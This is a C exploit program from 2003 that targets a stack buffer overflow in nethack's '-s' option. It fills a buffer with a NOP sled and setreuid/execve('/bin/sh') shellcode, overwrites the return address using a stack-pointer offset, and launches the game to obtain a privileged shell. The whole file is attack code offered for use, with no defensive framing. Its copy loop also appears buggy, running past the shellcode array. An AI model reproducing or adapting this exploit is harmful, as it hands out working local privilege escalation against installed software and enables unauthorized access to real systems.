/*
        tsao@efnet #!IC@efnet 2k3
        thnx to aleph1 for execve shellcode &
        davidicke for setreuid() shellcode
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


char code[] =

"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long sp(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char **argv) {
     char *p;
     int i, off;

     p = malloc(sizeof(char) * atoi(argv[1]));
     memset(p,0x90,atoi(argv[1]));

     off = 220 - strlen(code);
     printf("shellcode at %d->%d\n",off,off+strlen(code));
     for(i=0;i<atoi(argv[1]);i++)
       p[i+off] = code[i];


     *(long *) &p[220] = sp() - atoi(argv[2]);
     printf("Using %x\n",sp() - atoi(argv[2]));

     execl("/usr/games/lib/nethackdir/nethack","nethack","-s",p,0);
     perror("wtf");
}